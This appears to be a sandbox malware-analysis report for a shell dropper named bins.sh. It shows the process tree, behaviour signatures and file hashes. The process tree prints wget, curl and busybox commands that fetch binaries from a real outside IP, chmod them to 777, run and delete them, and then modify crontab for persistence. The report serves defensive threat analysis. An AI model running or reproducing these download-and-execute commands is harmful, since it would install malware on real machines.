Analysis

  • max time kernel
    100s
  • max time network
    137s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    25-11-2024 12:16

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a11f92e48c1efd2e63aed95cbe04af94

  • SHA1

    c2de2f9e256ef84ee067c9211d373059fed96d1b

  • SHA256

    6635e19968c3d0cdf14b07796a656dfe56415c8586c44aa8e509c937b5245b32

  • SHA512

    78df94801ccc2831ce184b9de6a62ea70331f41cfcd9f7b112900401710d5623f4c862a1e52859316e626b608feed0c5d79fd2377d3ac8a12c2563c8365a572a

  • SSDEEP

    192:JIc+rDhaJ8N5Lyyp1p/bLZ1Ic+rDK1peN5Lyy+G:6aJM1p/blR1pa

Malware Config

Signatures

  • Contacts a large (649) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          2⤵
          • Writes file to tmp directory
          PID:719
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          2⤵
          • Writes file to tmp directory
          PID:735
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          ./RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
            ./YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://216.126.231.240/bins/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
              2⤵
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:754
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
              2⤵
              • Writes file to tmp directory
              PID:770
            • /bin/chmod
              chmod 777 oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
              2⤵
              • File and Directory Permissions Modification
              PID:777
            • /tmp/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
              ./oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
              2⤵
              • Executes dropped EXE
              PID:779
            • /bin/rm
              rm oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx
              2⤵
                PID:782
              • /usr/bin/wget
                wget http://216.126.231.240/bins/XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
                2⤵
                • Writes file to tmp directory
                PID:783
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
                2⤵
                • Writes file to tmp directory
                PID:802
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
                2⤵
                • Writes file to tmp directory
                PID:803
              • /bin/chmod
                chmod 777 XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
                2⤵
                • File and Directory Permissions Modification
                PID:804
              • /tmp/XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
                ./XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
                2⤵
                • Executes dropped EXE
                PID:805
              • /bin/rm
                rm XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP
                2⤵
                  PID:807
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
                  2⤵
                  • Writes file to tmp directory
                  PID:808
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
                  2⤵
                  • Writes file to tmp directory
                  PID:809
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
                  2⤵
                  • Writes file to tmp directory
                  PID:823
                • /bin/chmod
                  chmod 777 fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
                  2⤵
                  • File and Directory Permissions Modification
                  PID:841
                • /tmp/fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
                  ./fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
                  2⤵
                  • Executes dropped EXE
                  PID:842
                • /bin/rm
                  rm fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa
                  2⤵
                    PID:844
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
                    2⤵
                    • Writes file to tmp directory
                    PID:845
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
                    2⤵
                    • Writes file to tmp directory
                    PID:849
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
                    2⤵
                    • Writes file to tmp directory
                    PID:853
                  • /bin/chmod
                    chmod 777 bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
                    2⤵
                    • File and Directory Permissions Modification
                    PID:854
                  • /tmp/bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
                    ./bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
                    2⤵
                    • Executes dropped EXE
                    PID:855
                  • /bin/rm
                    rm bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK
                    2⤵
                      PID:857
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/QPOImcSJXwcIreS05moOijXevs9QeW1kAo
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/QPOImcSJXwcIreS05moOijXevs9QeW1kAo
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:859
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/QPOImcSJXwcIreS05moOijXevs9QeW1kAo
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /bin/chmod
                      chmod 777 QPOImcSJXwcIreS05moOijXevs9QeW1kAo
                      2⤵
                      • File and Directory Permissions Modification
                      PID:861
                    • /tmp/QPOImcSJXwcIreS05moOijXevs9QeW1kAo
                      ./QPOImcSJXwcIreS05moOijXevs9QeW1kAo
                      2⤵
                      • Executes dropped EXE
                      PID:862
                    • /bin/rm
                      rm QPOImcSJXwcIreS05moOijXevs9QeW1kAo
                      2⤵
                        PID:864
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:865
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:866
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:867
                      • /bin/chmod
                        chmod 777 bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
                        2⤵
                        • File and Directory Permissions Modification
                        PID:868
                      • /tmp/bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
                        ./bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        PID:869
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:871
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:872
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:873
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:874
                          • /bin/rm
                            rm bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs
                            2⤵
                            • System Network Configuration Discovery
                            PID:876
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/fjEFmUVRUcF5qTbgNBN0gIvcpKcBpPP5Vy
                            2⤵
                              PID:879

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/QPOImcSJXwcIreS05moOijXevs9QeW1kAo

                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                          • /tmp/RSZNe8hT3d8M51A2WrCPFJSS6EKGy4HXAT

                            Filesize

                            99KB

                            MD5

                            9438d9bc392bcf300a5583b6df5bc8f6

                            SHA1

                            375a6ae34b516f6f3eeea8030c4084f585017efa

                            SHA256

                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                            SHA512

                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                          • /tmp/XwaSldiFLCrTvM5FpgaQqu3FXe8tYezceP

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/YhRQ9UOUOd98ZMXEym5W1u4dU72nZ2Yqnm

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/bW8nZbRkFjft8zvVLoaWUJzdAEweXHHjcK

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/bZujLg6SQonNbLVP2nN6pwUVHIpEdaXYFs

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /tmp/fpzlYZm4rCLQTbCdFXVB2LizZeEpWKNnDa

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /tmp/oTkzu84t0klLNhcw6AxXnEYCYWePAgZObx

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /var/spool/cron/crontabs/tmp.8XkIaB

                            Filesize

                            210B

                            MD5

                            d095d7a386ef7d3457c87e5ff84b4c65

                            SHA1

                            83f37565d634876a9cbecee73fd1b2912d1b6e40

                            SHA256

                            765f96838e13bafefc0577be5d301f40bd86e532be9cee81d4884d789fac6b18

                            SHA512

                            70a707f04811c1b1efe23d19cd883eeb8b7cea4d7d1ebd853268983993fcaa91dab47632156c2404ecb76b2ea9ffb2b84ac07068a933458250e1ca64cff98cd3